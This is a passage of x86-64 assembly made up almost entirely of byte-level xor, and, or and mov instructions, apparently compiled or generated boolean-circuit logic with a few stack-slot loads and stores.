xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
and al, bl
or al, cl
and r8b, dil
mov ecx, r8d
and cl, dil
xor r8b, dil
or r8b, cl
xor r14b, r12b
xor r13b, 1
or r13b, r14b
mov ecx, r8d
xor cl, 1
and cl, r13b
xor r13b, 1
and r13b, r8b
or r13b, cl
mov ecx, edi
xor cl, r12b
or r12b, dil
xor r12b, 1
or r12b, cl
xor r12b, 1
mov ecx, r13d
and cl, r12b
xor r12b, r13b
or r12b, cl
mov ecx, r12d
xor cl, 1
and r12b, cl
mov edx, ecx
and dl, r12b
xor r12b, cl
or r12b, dl
mov ecx, eax
xor cl, 1
and cl, r12b
mov r9d, r12d
xor r9b, 1
mov edx, eax
xor dl, r9b
and dl, al
and r9b, al
or r9b, cl
mov eax, edx
and al, r9b
xor r9b, dl
or r9b, al
mov r8d, r9d
xor r8b, 1
mov ebx, r8d
and bl, r9b
mov ecx, ebx
xor cl, 1
mov r10d, r8d
xor r10b, bl
or cl, r9b
xor cl, 1
or cl, r10b
mov eax, ecx
xor al, 1
and al, cl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov r11d, edx
and r11b, al
xor dl, al
or dl, r11b
xor dl, r9b
xor dl, 1
xor cl, r8b
or al, r9b
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
or cl, al
mov r11d, ecx
xor r11b, 1
and bl, r8b
or bl, r10b
mov r10d, r8d
or r10b, r9b
mov esi, r10d
xor sil, 1
mov edx, ebx
and dl, sil
xor bl, sil
or bl, dl
mov edx, ebx
xor dl, 1
mov eax, ecx
xor al, dl
mov edi, eax
xor dil, cl
and dil, al
and bl, dl
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
and cl, bl
xor bl, 1
and bl, r11b
or bl, cl
mov r11d, edi
xor r11b, 1
mov ebp, ebx
xor bpl, 1
mov edx, edi
and dl, r11b
mov ecx, ebx
and cl, bpl
mov eax, edx
xor al, 1
xor dl, dil
or al, r11b
xor al, 1
or al, dl
xor cl, 1
mov edx, ecx
xor dl, bpl
or cl, bpl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
and cl, al
or cl, dl
mov eax, edi
xor al, bl
or bl, dil
xor bl, 1
or bl, al
mov eax, ecx
xor al, bl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
or cl, al
mov r11d, ecx
xor r11b, 1
mov edx, r11d
and dl, cl
mov ebx, edx
xor bl, 1
mov edi, edx
and dil, bl
mov eax, edi
xor al, 1
xor dil, dl
or al, bl
xor al, 1
or al, dil
xor dl, cl
mov ecx, ebx
or cl, r11b
xor cl, 1
or cl, dl
xor cl, al
mov eax, ebx
and al, r11b
xor bl, r11b
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov edi, ebx
xor dil, 1
and r9b, r10b
or r10b, r8b
xor r10b, 1
and sil, r8b
or sil, r9b
mov eax, r10d
and al, sil
xor sil, r10b
or sil, al
mov edx, esi
xor dl, 1
and dl, sil
xor dl, 1
mov eax, esi
xor al, dl
or dl, sil
xor dl, 1
or dl, al
mov r8d, edx
xor r8b, 1
mov eax, ebx
and al, dil
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
mov r9d, eax
xor r9b, 1
or dil, bl
mov r10d, edi
xor r10b, 1
mov r11d, r8d
xor r11b, dl
and r11b, r8b
and r10b, r9b
or r9b, dl
or dl, r8b
xor dl, r11b
mov esi, edx
xor sil, 1
mov ebx, eax
xor bl, dil
and bl, al
and dil, al
or dil, r10b
mov r10d, ebx
and r10b, dil
xor dil, bl
or dil, r10b
and dl, r11b
mov ebx, edx
and bl, sil
xor dl, sil
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, dl
xor cl, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, cl
xor bl, dil
xor al, r8b
mov ecx, r9d
xor cl, al
xor al, 1
xor cl, 1
or al, r9b
xor al, 1
or al, cl
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
or cl, al
mov edx, eax
or dl, cl
xor dl, 1
xor cl, al
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov edx, ecx
xor dl, 1
and dl, cl
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov r8d, edx
mov edi, edx
xor r8b, 1
movzx ebx, byte [rsp + 0x58]
mov esi, ebx
xor sil, 1
mov edx, ebx
or dl, sil
mov byte [rsp + 0x38], dl
mov eax, edx
xor al, 1
mov byte [rsp + 0x44], al
mov r9d, eax
and r9b, bl
mov r13d, esi
and r13b, dl
or r13b, r9b
mov r9d, esi
xor r9b, al
mov edx, esi
or dl, al
xor dl, 1
or dl, r9b
mov eax, r13d
xor al, dl
xor r13b, 1
xor al, 1
or r13b, dl
xor r13b, 1
or r13b, al
mov edx, r13d
xor dl, 1
mov ebp, ebx
and bpl, sil
xor bl, sil
or bl, bpl
mov r10d, ebx
xor r10b, 1
mov r15d, edx
and r15b, r13b
mov eax, edx
and al, r15b
xor r15b, dl
or r15b, al
mov edx, ebx
and dl, r10b
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov r9d, r15d
xor r9b, 1
mov r11d, r15d
or r11b, r9b
mov r14d, edx
and r9b, dl
xor dl, 1
mov eax, r11d
xor al, 1
or r14b, dl
mov r12d, r14d
xor r12b, 1
xor bl, r10b
and bl, r10b
mov ecx, r11d
and cl, al
mov r10d, r11d
and r10b, cl
xor cl, r11b
or cl, r10b
xor cl, r13b
mov r10d, eax
xor r10b, r13b
or al, r13b
xor al, 1
or al, r10b
mov r10d, ecx
xor r10b, al
or al, cl
xor al, 1
or al, r10b
mov ecx, ebx
xor cl, 1
and bl, r14b
or r14b, cl
and cl, r12b
or cl, bl
xor cl, 1
mov r10d, r14d
xor r10b, cl
or cl, r14b
xor cl, 1
or cl, r10b
mov r10d, eax
xor r10b, cl
and cl, r10b
and r10b, al
mov eax, ecx
xor al, 1
xor cl, r10b
xor r10b, 1
or r10b, al
xor r10b, 1
or r10b, cl
mov eax, r15d
xor al, dl
and al, r15b
and dl, r15b
or dl, r9b
mov ecx, eax
xor cl, 1
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, r10d
xor al, 1
and r10b, al
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
xor r10b, dl
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
xor al, 1
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov r10d, eax
xor r10b, 1
mov r14d, r10d
or r14b, al
mov r9d, r14d
xor r9b, 1
mov ecx, r10d
and cl, al
xor cl, 1
mov r11d, ecx
xor r11b, al
or cl, al
xor cl, 1
or cl, r11b
mov edx, ecx
xor dl, 1
and dl, r9b
and cl, r14b
or cl, dl
xor r14b, al
or r9b, r10b
xor r9b, 1
or r9b, r14b
xor r9b, 1
mov eax, ecx
and al, r9b
xor r9b, cl
or r9b, al
mov byte [rsp + 0x54], sil
mov eax, esi
xor al, bpl
and bpl, sil
or bpl, al
mov eax, edi
mov byte [rsp + 0x40], dil
and dil, r8b
mov r12d, r8d
and r12b, dil
mov esi, r8d
xor sil, dil
or r12b, sil
mov r15d, r12d
xor r15b, 1
mov r14d, eax
xor r14b, r8b
or r8b, al
mov eax, r8d
xor al, 1
mov ecx, r12d
xor cl, r8b
and cl, r12b
and al, r15b
and r8b, r12b
or r8b, al
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
mov r10d, r8d
xor r10b, 1
or r14b, dil
mov r11d, r8d
or r11b, r10b
mov r13d, r11d
xor r13b, 1
mov eax, r10d
and al, r8b
mov ecx, eax
and cl, r10b
xor al, r10b
or al, cl
mov edx, eax
xor dl, 1
and dl, r13b
mov ecx, r14d
xor cl, 1
and al, r11b
or al, dl
mov edx, r8d
and dl, r11b
xor r11b, r8b
or r11b, dl
mov r13d, eax
xor r13b, r11b
xor al, 1
or al, r11b
mov edx, r14d
or dl, cl
xor dl, r14b
xor r13b, 1
xor al, 1
or al, r13b
mov r11d, edx
xor r11b, 1
and dl, r14b
mov r13d, edx
and r13b, r11b
xor dl, r11b
or dl, r13b
mov r11d, edx
xor r11b, 1
and r11b, dl
mov r13d, r11d
and r13b, dl
xor r11b, dl
or r11b, r13b
xor r11b, al
and cl, r14b
mov eax, ecx
and al, r14b
xor cl, r14b
or cl, al
and r8b, cl
xor cl, 1
and cl, r10b
or cl, r8b
mov eax, r10d
xor al, r14b
or r14b, r10b
xor r14b, 1
or r14b, al
mov eax, ecx
xor al, r14b
xor cl, 1
xor al, 1
or cl, r14b
xor cl, 1
or cl, al
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, r11d
and cl, al
mov r8d, ecx
and r8b, al
xor cl, al
mov r10d, r11d
xor r10b, al
or al, r11b
xor r11b, 1
and dl, r11b
xor dl, 1
mov r14d, edx
xor r14b, r11b
or dl, r11b
mov r13d, r9d
xor r13b, 1
xor dl, 1
or dl, r14b
or cl, r8b
xor cl, dl
xor al, 1
or al, r10b
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, eax
xor dl, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r11d, edx
mov eax, r9d
or al, r13b
mov edx, eax
mov ecx, eax
xor dl, 1
mov eax, r13d
xor al, r9b
mov byte [rsp + 0x34], al
mov byte [rsp + 0x5c], dl
mov ebx, edx
mov byte [rsp + 0x50], cl
and bl, cl
mov eax, ebx
xor al, 1
xor bl, dl
or al, cl
xor al, 1
or al, bl
mov byte [rsp + 0x58], al
xor al, 1
and al, r9b
mov byte [rsp + 0x32], al
mov eax, r9d
and r9b, r13b
xor al, r9b
xor r9b, 1
or r9b, r13b
xor r9b, 1
or r9b, al
mov eax, r9d
xor al, 1
and al, r9b
mov ecx, eax
and cl, r9b
xor al, r9b
or al, cl
mov ecx, r9d
xor cl, dl
or r9b, dl
xor r9b, 1
or r9b, cl
xor al, dl
xor r9b, 1
mov ecx, eax
and cl, r9b
xor r9b, al
or r9b, cl
mov eax, r9d
xor al, 1
or r9b, al
mov ecx, r9d
and cl, al
xor r9b, al
or cl, r9b
xor cl, 1
mov eax, r9d
and al, cl
xor cl, r9b
or cl, al
mov edx, ecx
xor dl, 1
mov r10d, edx
or r10b, cl
mov r8d, r10d
xor r8b, 1
and r8b, cl
mov ecx, edx
xor cl, r10b
and cl, dl
and r10b, dl
or r10b, r8b
mov edx, ecx
xor dl, 1
xor cl, r10b
xor r10b, 1
or r10b, dl
xor r10b, 1
or r10b, cl
mov ecx, ebp
mov eax, ebp
xor al, 1
movzx edx, byte [rsp + 0x44]
and dl, al
movzx ebx, byte [rsp + 0x38]
and cl, bl
or cl, dl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov edx, ecx
xor dl, al
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
movzx eax, byte [rsp + 0x54]
mov ebp, eax
xor bpl, cl
xor bpl, 1
and bpl, al
or al, cl
mov edx, ecx
mov ecx, ebp
xor cl, al
xor bpl, 1
xor cl, 1
or bpl, al
xor bpl, 1
or bpl, cl
xor bpl, 1
mov ecx, ebp
and cl, dl
xor bpl, dl
or bpl, cl
mov byte [rsp + 0x33], r11b
mov ecx, r11d
xor cl, 1
mov eax, ecx
and al, r11b
mov r8d, r11d
or r8b, cl
mov byte [rsp + 0x54], r8b
xor cl, al
xor al, 1
mov byte [rsp + 0x38], al
mov edx, r11d
or dl, al
xor dl, 1
mov byte [rsp + 0x44], dl
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, r8d
xor bl, 1
and bl, dl
and cl, r8b
or cl, bl
or dl, r8b
xor dl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov r8d, ebx
xor r8b, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, r8b
mov eax, edx
xor al, 1
mov r8d, eax
or r8b, dl
xor cl, r8b
or bl, r8b
mov r9d, ebx
xor r9b, cl
or bl, cl
xor bl, 1
or bl, r9b
xor al, dl
xor r8b, 1
or r8b, al
mov eax, r8d
xor al, 1
and r8b, al
mov ecx, eax
and cl, r8b
xor r8b, al
or r8b, cl
mov eax, ebx
xor al, 1
mov ecx, r8d
xor cl, 1
and r8b, al
or al, cl
and cl, bl
or cl, r8b
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
xor dl, 1
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
or dl, al
mov ebx, ecx
and bl, al
mov r8d, ecx
xor r8b, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, r8b
xor bl, dl
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov r8d, edx
xor r8b, 1
xor dl, r8b
xor r8b, dl
and r8b, dl
or r15b, r12b
mov eax, r15d
xor al, 1
mov ecx, r15d
and cl, al
mov edx, r15d
and dl, cl
xor cl, r15b
or cl, dl
xor dil, 1
movzx ebx, byte [rsp + 0x40]
or dil, bl
xor dil, 1
or dil, sil
mov edx, ecx
xor dl, 1
and dl, dil
xor dil, 1
and dil, cl
or dil, dl
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov ecx, edi
xor cl, al
xor dil, 1
xor cl, 1
or dil, al
xor dil, 1
or dil, cl
mov eax, edi
xor al, 1
mov ecx, eax
and cl, dil
xor al, cl
xor cl, 1
or cl, dil
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov ebx, eax
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
or al, cl
xor al, dl
mov ecx, eax
xor cl, 1
and al, dl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
mov ebx, eax
xor bl, dl
and bl, al
and al, dl
xor dl, 1
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
mov ebx, ecx
xor bl, al
or bl, dl
mov edx, ebx
xor dl, 1
or dl, bl
mov r9d, edx
xor r9b, 1
mov ebx, r9d
and bl, dl
mov edi, ebx
and dil, r9b
xor bl, r9b
or bl, dil
xor al, 1
mov r9d, eax
xor r9b, cl
or al, cl
xor al, 1
or al, r9b
xor al, bl
mov ebx, edx
and bl, cl
xor dl, cl
mov r9d, ebp
xor r9b, 1
or dl, bl
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov r12d, edx
xor r12b, 1
or r12b, dl
xor r12b, 1
or r12b, dl
mov edx, ebp
and dl, r9b
mov eax, edx
and al, bpl
xor dl, bpl
or dl, al
mov ebx, r10d
xor bl, 1
xor dl, r10b
mov eax, edx
xor al, 1
mov ecx, ebx
and cl, al
and dl, r10b
or dl, cl
xor dl, 1
or dl, al
mov ecx, ebx
and cl, r10b
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
xor cl, 1
mov eax, ebp
and al, cl
xor cl, bpl
or cl, al
and bpl, r10b
and r9b, bl
or bpl, r9b
mov r9d, ecx
xor r9b, 1
xor bl, bpl
and bl, bpl
mov eax, ecx
and al, r9b
xor cl, al
xor al, 1
or al, r9b
xor al, 1
or al, cl
mov r10d, ebx
xor r10b, 1
mov ecx, eax
xor cl, 1
and cl, r10b
and al, bl
or al, cl
mov r10d, r9d
xor r10b, bl
or bl, r9b
mov r9d, edx
xor r9b, 1
xor bl, 1
or bl, r10b
mov ecx, eax
xor cl, bl
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov ecx, edx
or cl, r9b
mov ebp, ecx
xor bpl, r9b
or cl, dl
xor cl, 1
xor bpl, 1
mov edx, ecx
and dl, bpl
xor bpl, cl
mov edi, eax
xor dil, 1
or bpl, dl
mov edx, eax
and dl, dil
mov r10d, edx
and r10b, al
xor dl, al
or dl, r10b
mov ecx, edi
or cl, al
xor cl, 1
xor dl, cl
mov r10d, ecx
xor r10b, al
or cl, al
xor cl, 1
or cl, r10b
xor cl, 1
mov r10d, edx
and r10b, cl
xor cl, dl
or cl, r10b
mov r10d, ecx
xor r10b, 1
mov ebx, ecx
and bl, r10b
mov edx, ebx
xor bl, cl
xor dl, 1
or dl, r10b
xor dl, 1
or dl, bl
xor dl, bpl
xor dil, r9b
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, edi
xor cl, al
or al, dil
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov edi, eax
xor dil, 1
and al, dil
xor al, 1
mov ecx, eax
xor cl, dil
or al, dil
xor al, 1
or al, cl
mov ecx, eax
xor al, 1
and al, dl
xor dl, 1
and cl, dl
or al, cl
mov ecx, edx
and cl, dil
xor dil, dl
or dil, cl
xor dil, 1
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
mov ebx, r8d
xor bl, 1
mov eax, ebx
and al, r8b
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov r10d, ecx
and r10b, al
mov r9d, ecx
and r9b, r10b
xor r10b, cl
or r10b, r9b
mov edx, r10d
xor dl, 1
and dl, bl
and r10b, r8b
or r10b, dl
xor cl, bl
or al, r8b
xor al, 1
or al, cl
mov ecx, r10d
xor cl, al
xor r10b, 1
or r10b, al
mov eax, r12d
xor al, 1
xor cl, 1
xor r10b, 1
or r10b, cl
mov ecx, eax
and cl, r12b
mov edx, r12d
and dl, cl
xor r12b, cl
or r12b, dl
mov r15d, r12d
xor r15b, 1
or r15b, r12b
xor r15b, 1
mov edx, r12d
and dl, r15b
xor r15b, r12b
or r15b, dl
mov edx, r10d
xor dl, 1
mov r12d, edx
and r12b, r10b
mov r9d, edx
and r9b, r12b
xor dl, r12b
or dl, r9b
xor bl, r8b
or bl, r8b
mov r14d, r15d
xor r14b, 1
mov ebp, r14d
and bpl, r15b
mov r9d, ebp
xor r9b, 1
xor bpl, r14b
or r9b, r15b
xor r9b, 1
or r9b, bpl
xor r9b, 1
mov ebp, r14d
or bpl, r15b
mov r8d, r9d
xor r8b, bpl
or r9b, bpl
xor r9b, 1
or r9b, r8b
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
xor cl, 1
mov r8d, ecx
xor r8b, al
or cl, al
xor cl, 1
or cl, r8b
mov r8d, ebx
mov r11d, ebx
and bl, dl
mov eax, edx
xor dl, 1
xor r8b, 1
and r11b, dl
and al, r8b
or al, r11b
mov r11d, eax
xor r11b, dl
and r11b, al
and r8b, dl
or bl, r8b
mov edx, r11d
xor dl, 1
mov eax, r11d
and al, dl
mov r8d, eax
and r8b, r11b
xor al, r11b
or al, r8b
mov r8d, eax
xor r8b, 1
and r8b, bl
xor bl, 1
and al, bl
or al, r8b
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov ebx, r9d
xor bl, 1
mov edx, r9d
and dl, bl
mov r8d, r9d
and r8b, dl
xor dl, r9b
or dl, r8b
or bl, r9b
mov r8d, edx
xor r8b, 1
mov r9d, ebx
xor r9b, 1
mov r11d, r8d
or r11b, bl
and r9b, r8b
and bl, dl
or bl, r9b
xor r11b, 1
mov r9d, r11d
and r9b, bl
xor bl, r11b
or bl, r9b
mov r9d, ecx
xor r9b, 1
mov r11d, r9d
or r11b, cl
xor dl, cl
xor cl, r11b
mov esi, r9d
and sil, r11b
xor r11b, r9b
or r11b, sil
mov esi, ecx
xor sil, r11b
or r11b, cl
xor r11b, 1
or r11b, sil
mov ecx, r11d
xor cl, 1
or cl, bl
xor bl, 1
or bl, r11b
mov r11d, ecx
xor r11b, bl
or bl, cl
xor bl, 1
or bl, r11b
or r8b, r9b
xor r8b, 1
mov ecx, r8d
and cl, dl
xor dl, r8b
or dl, cl
xor dl, bl
and bl, dl
mov ecx, ebx
xor cl, dl
xor bl, 1
or bl, dl
xor cl, 1
xor bl, 1
or bl, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor dl, 1
mov r8d, eax
xor r8b, dl
or dl, al
xor dl, 1
or dl, r8b
or cl, al
mov eax, ecx
xor al, 1
and al, cl
mov r8d, ecx
and r8b, al
xor al, cl
or al, r8b
mov r8d, eax
and r8b, dl
xor dl, 1
xor al, 1
and al, dl
or al, r8b
mov r8d, edx
and r8b, cl
xor dl, cl
or dl, r8b
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r9d, ebx
xor r9b, 1
mov ecx, ebx
or cl, r9b
mov r8d, ecx
xor r8b, 1
and r8b, bl
mov eax, r9d
xor al, cl
and al, r9b
and cl, r9b
or cl, r8b
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
xor dl, 1
mov r9d, ecx
xor r9b, dl
xor r9b, 1
and r9b, cl
or dl, cl
mov ecx, r9d
xor cl, dl
xor r9b, 1
or r9b, dl
xor cl, 1
xor r9b, 1
or r9b, cl
mov ecx, r10d
and cl, r12b
xor r12b, r10b
or r12b, cl
mov ecx, r12d
xor cl, 1
mov edx, r12d
and dl, cl
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ebx, r12d
or bl, cl
xor bl, 1
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
mov edx, ebp
xor dl, 1
mov eax, r14d
xor al, bpl
and dl, r15b
and bpl, r14b
or bpl, dl
and al, r14b
mov edx, eax
and dl, bpl
xor bpl, al
or bpl, dl
mov eax, ebx
xor al, 1
and bl, al
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebp
xor al, 1
and bpl, al
mov edx, eax
and dl, bpl
xor bpl, al
or bpl, dl
mov eax, ebx
xor al, 1
and al, bpl
xor bpl, 1
and bpl, bl
or bpl, al
or cl, r15b
xor cl, 1
xor r12b, r14b
mov eax, ecx
and al, r12b
xor r12b, cl
or r12b, al
mov eax, r12d
xor al, 1
and r12b, al
mov ecx, eax
and cl, r12b
xor r12b, al
or r12b, cl
mov eax, r12d
xor al, 1
mov ecx, ebp
xor cl, 1
and r12b, cl
or cl, al
and al, bpl
or al, r12b
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
or bl, al
mov edx, ebx
xor dl, 1
mov ecx, ebx
and cl, dl
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
xor cl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
or al, dl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
mov ecx, r9d
or cl, dl
xor cl, 1
xor dl, r9b
or cl, dl
mov r10d, ecx
xor r10b, 1
or al, r9b
xor al, 1
and dl, r9b
mov r8d, eax
and r8b, dl
xor dl, al
or dl, r8b
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
mov r8d, ebx
xor r8b, al
xor al, 1
or al, dl
xor al, 1
or al, r8b
and r10b, al
xor al, 1
and al, cl
or al, r10b
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
xor al, 1
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov ecx, edi
xor cl, 1
and dil, cl
mov edx, ecx
and dl, dil
xor dil, cl
or dil, dl
xor cl, dil
or cl, dil
mov edx, ecx
xor dl, 1
mov r8d, eax
xor r8b, 1
mov r11d, r8d
or r11b, al
mov r9d, eax
or r9b, r11b
xor r9b, 1
xor al, r11b
mov r10d, r9d
and r10b, al
xor al, r9b
or al, r10b
mov r10d, eax
xor r10b, 1
mov r9d, eax
and r9b, r10b
xor r10b, al
or r10b, r9b
mov r9d, r10d
xor r9b, 1
xor r11b, 1
mov eax, r8d
and al, r11b
xor r11b, r8b
or r11b, al
mov ebx, edx
or bl, cl
and dl, cl
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
mov ecx, ebx
xor cl, 1
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, bl
or bl, al
and al, cl
mov ecx, r11d
xor cl, 1
xor bl, 1
or al, dl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, r9d
xor dl, r10b
mov r8d, r10d
xor r8b, cl
and r8b, r10b
or r10b, r9b
and dl, r9b
mov edi, r10d
xor dil, dl
xor dl, 1
or dl, r10b
xor dl, 1
xor dil, 1
mov r10d, edx
and r10b, dil
xor dil, dl
or dil, r10b
mov edx, r11d
or dl, cl
mov r10d, edx
xor r10b, 1
and r10b, r11b
mov esi, edx
and sil, cl
or sil, r10b
mov r10d, edx
and r10b, r11b
xor dl, r11b
or dl, r10b
xor dl, 1
mov r10d, esi
and r10b, dl
xor dl, sil
or dl, r10b
mov ebx, edx
xor bl, 1
and bl, dl
mov r10d, ebx
and r10b, dl
xor bl, dl
or bl, r10b
mov edx, edi
xor dl, 1
and dl, bl
xor bl, 1
and bl, dil
or bl, dl
xor cl, r9b
mov edx, r8d
xor dl, 1
xor r8b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r8b
mov r8d, ecx
xor r8b, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
xor bl, 1
and bl, r8b
or cl, bl
mov ebx, edx
xor bl, 1
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and cl, dl
and al, bl
or al, cl
xor dl, al
and dl, al
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
mov edi, edx
xor dil, 1
and dl, al
or al, dil
and dil, cl
or dil, dl
mov ecx, eax
xor cl, dil
xor dil, 1
xor cl, 1
or dil, al
xor dil, 1
or dil, cl
mov ecx, r13d
movzx eax, byte [rsp + 0x58]
and al, cl
movzx edx, byte [rsp + 0x32]
or dl, al
mov eax, ecx
movzx r13d, byte [rsp + 0x50]
and al, r13b
xor r13b, cl
or r13b, al
xor r13b, 1
mov eax, edx
and al, r13b
xor r13b, dl
or r13b, al
mov r8d, r13d
xor r8b, 1
movzx eax, byte [rsp + 0x38]
xor al, byte [rsp + 0x33]
or al, byte [rsp + 0x44]
xor al, 1
mov r12d, eax
movzx ecx, byte [rsp + 0x54]
and r12b, cl
xor al, cl
or r12b, al
xor r12b, 1
mov ecx, eax
and cl, r12b
xor r12b, al
or r12b, cl
mov r11d, r13d
and r11b, r8b
xor r11b, 1
mov ecx, r11d
xor cl, r13b
mov edx, r11d
or dl, r13b
xor dl, 1
or dl, cl
mov esi, edx
xor sil, 1
movzx eax, byte [rsp + 0x34]
or al, byte [rsp + 0x5c]
mov ebp, eax
xor bpl, 1
mov r9d, r12d
xor r9b, 1
and r12b, r9b
mov ecx, r9d
and cl, r12b
xor r12b, r9b
or r12b, cl
mov r10d, r12d
xor r10b, 1
mov r15d, r10d
or r15b, r12b
mov r14d, r10d
or r14b, r15b
xor r15b, 1
mov ecx, r10d
xor cl, r15b
xor cl, 1
xor r14b, 1
or r14b, cl
mov ebx, edx
xor bl, bpl
xor bl, 1
or bl, dl
mov ecx, edx
and cl, sil
xor dl, cl
xor cl, 1
or cl, sil
and al, bpl
xor cl, 1
or cl, dl
xor al, 1
mov edx, ebp
xor dl, al
or al, bpl
xor al, 1
or al, dl
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
and al, cl
mov ecx, ebx
xor cl, 1
or al, dl
mov edx, eax
xor dl, 1
and al, bl
or bl, dl
and dl, cl
mov esi, r14d
xor sil, 1
or dl, al
mov ecx, ebx
xor cl, dl
xor dl, 1
xor cl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, esi
or cl, r14b
mov ebx, ecx
xor bl, 1
and sil, cl
or cl, r14b
and bl, r14b
or bl, sil
mov esi, ecx
xor sil, bl
xor bl, 1
xor sil, 1
or bl, cl
xor bl, 1
or bl, sil
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
mov esi, eax
and sil, cl
xor cl, al
or cl, sil
mov esi, ecx
xor sil, 1
or sil, cl
xor al, dl
and al, dl
mov ecx, eax
and al, sil
xor sil, 1
xor cl, 1
mov edx, esi
xor dl, cl
and dl, sil
and cl, sil
or cl, al
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
xor dl, 1
mov esi, edx
xor sil, al
or dl, al
xor dl, 1
or dl, sil
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, 1
mov esi, ecx
xor sil, al
or al, cl
xor sil, 1
and sil, cl
xor sil, 1
mov ecx, eax
xor cl, sil
or sil, al
xor sil, 1
or sil, cl
mov eax, r8d
